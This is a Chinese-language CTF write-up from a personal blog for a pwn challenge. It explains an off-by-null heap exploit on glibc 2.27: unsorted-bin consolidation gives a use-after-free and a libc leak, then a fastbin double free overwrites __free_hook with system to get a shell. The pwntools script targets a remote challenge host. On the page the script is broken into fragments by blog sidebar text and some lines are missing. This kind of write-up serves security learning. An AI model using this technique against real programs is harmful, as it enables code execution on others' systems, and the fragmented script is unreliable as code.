hgame_week3_pwn题解

发表于 2024-02-22 | 更新于 2024-02-22
| 阅读量: 2

溢出来了

offset_by_null

利用的是堆合并时的漏洞，glibc 2.27的unsorted bin chunk在合并时，会根据当前chunk的prev in use位来判断是否向前/向后合并，然后通过prev size取到unsortedbin chunk的地址，这个时候会做一次检查，但中间合并的chunk他是不会做检查的，也就是说，即便中间的chunk是 in use的状态，也会被合并进去。也就是说我

k0rian

没人？打个胶先

文章	标签	分类
5	1	0

unsorted bin，触发合并，那么，正在in use状态的chunk2就会被合并进去,此时我们仍能访问到chunk2，uaf就达成了。这里可以泄露一次libc.

fastbins_double_free任意地址写

可是这里充其量只能泄露，chunk中的内容已经不能修改了，我们得换种思路实现任意地址写，这里应该能用heap overlapping, 但本人用的是fastbin double free,通过切割unsorted bin来实现的。我们合并完后，会得到一个0x300大小的unsorted bin,此时我们的note指针还残留了一个，还可以free一次，也就是说，只要合理地切分这个0x300的chunk，我们是有办法将残留指针指向的chunk放进fastbins的，此时再free这个指针，double free就实现了,计算得到切割块的大小必须得是0x40(由于需要填充tcache)

exp

PYTHON

```python
from pwn import *
#p=process("./vuln")
p=remote("139.196.183.57",30703)
elf=ELF("./vuln")
def add_note(index,size,payload):
        p.sendlineafter("Your choice:",str(1))
        p.sendlineafter("Index: ",str(index))
        p.sendlineafter("Size: ",str(size))
        p.sendafter("Content: ",payload)
def delete(index):
        p.sendlineafter("Your choice:",str(3))
        p.sendlineafter("Index: ",str(index))
def show(index):
```

公告

This is my Blog

目录 0

1. 溢出来了

2. eldenring3

最新文章

hgame_week3_pwn题解
2024-02-22

hgame_week2_pwn题解
2024-02-13

hgame_week1_pwn题解
2024-02-11

强网杯ez_fmt复现
2024-01-26

HackNote

```
        p.sendlineafter("Your choice:",str(4))
#gdb.attach(p)
for i in range(7):
        add_note(i,0xf8,b"a"*0xf8)
add_note(7,0xf8,b"a"*0xf8)
add_note(8,0xf8,b"a"*0xf8)
add_note(9,0xf8,b"a"*0xf8)
add_note(10,0xf0,b"a"*0xf0)
#gdb.attach(p)
add_note(11,0x10,b"a"*0x10)
for i in range(7):
        delete(i)
delete(8)
add_note(6,0xf0,b"a"*0xf0)
delete(9)
add_note(9,0xf8,0xf0*b"a"+p64(0x200))
delete(6)
delete(10)
for i in range(7):
        add_note(i,0xf0,b"a"*0xf0)
#gdb.attach(p)
add_note(8,0xf8,b"a"*0xf0+p64(0x100))
show(9)
offset=4111520
main_arena=u64(p.recv(8)[-6:].ljust(8,b"\x00"))
libc_base=main_arena-offset
print(hex(libc_base))
#gdb.attach(p)
libc=ELF("./libc-2.27.so")
```

```
#add_note(9,0xf9,p64(main_arena)+p64(free_hook)+b"a"*0xe9)
#gdb.attach(p)
add_note(12,0xf0,b"a"*0xf0)
add_note(10,0xf0,b"a"*0xf0)
#gdb.attach(p)
for i in range(6):
        delete(i)
delete(12)
delete(8)
add_note(12,0xf8,0xf0*b"a"+p64(0x200))
delete(6)
delete(10)
#gdb.attach(p)
for i in range(4):
        add_note(i,0x30,b"a"*0x30)
delete(7)
add_note(4,0x30,b"a"*0x30)
for i in range(3):
        add_note(i+5,0x30,b"a"*0x30)
add_note(13,0x30,b"a"*0x30)
add_note(8,0x30,b"a"*0x30)
delete(8)
for i in range(4):
        delete(i)
for i in range(5,7):
        delete(i)
delete(9)
delete(7)
delete(13)
```

```
        add_note(i,0x30,b"a"*0x30)
payload=p64(free_hook)
add_note(7,0x30,p64(free_hook))
sleep(0.25)
add_note(8,0x30,p64(free_hook))
sleep(0.25)
add_note(9,0x30,b"a"*0x30)
add_note(10,0x30,b"/bin/sh\x00")
sleep(0.25)
system=libc_base+libc.sym["system"]
add_note(13,0x30,p64(system))
delete(10)
#gdb.attach(p)
#exit()
p.interactive()
```

eldenring3

不会， 现在看到io_file就想死

文章作者: k0rian

文章链接: http://example.com/posts/hgame_week3.html

下一篇

hgame_week2_pwn题解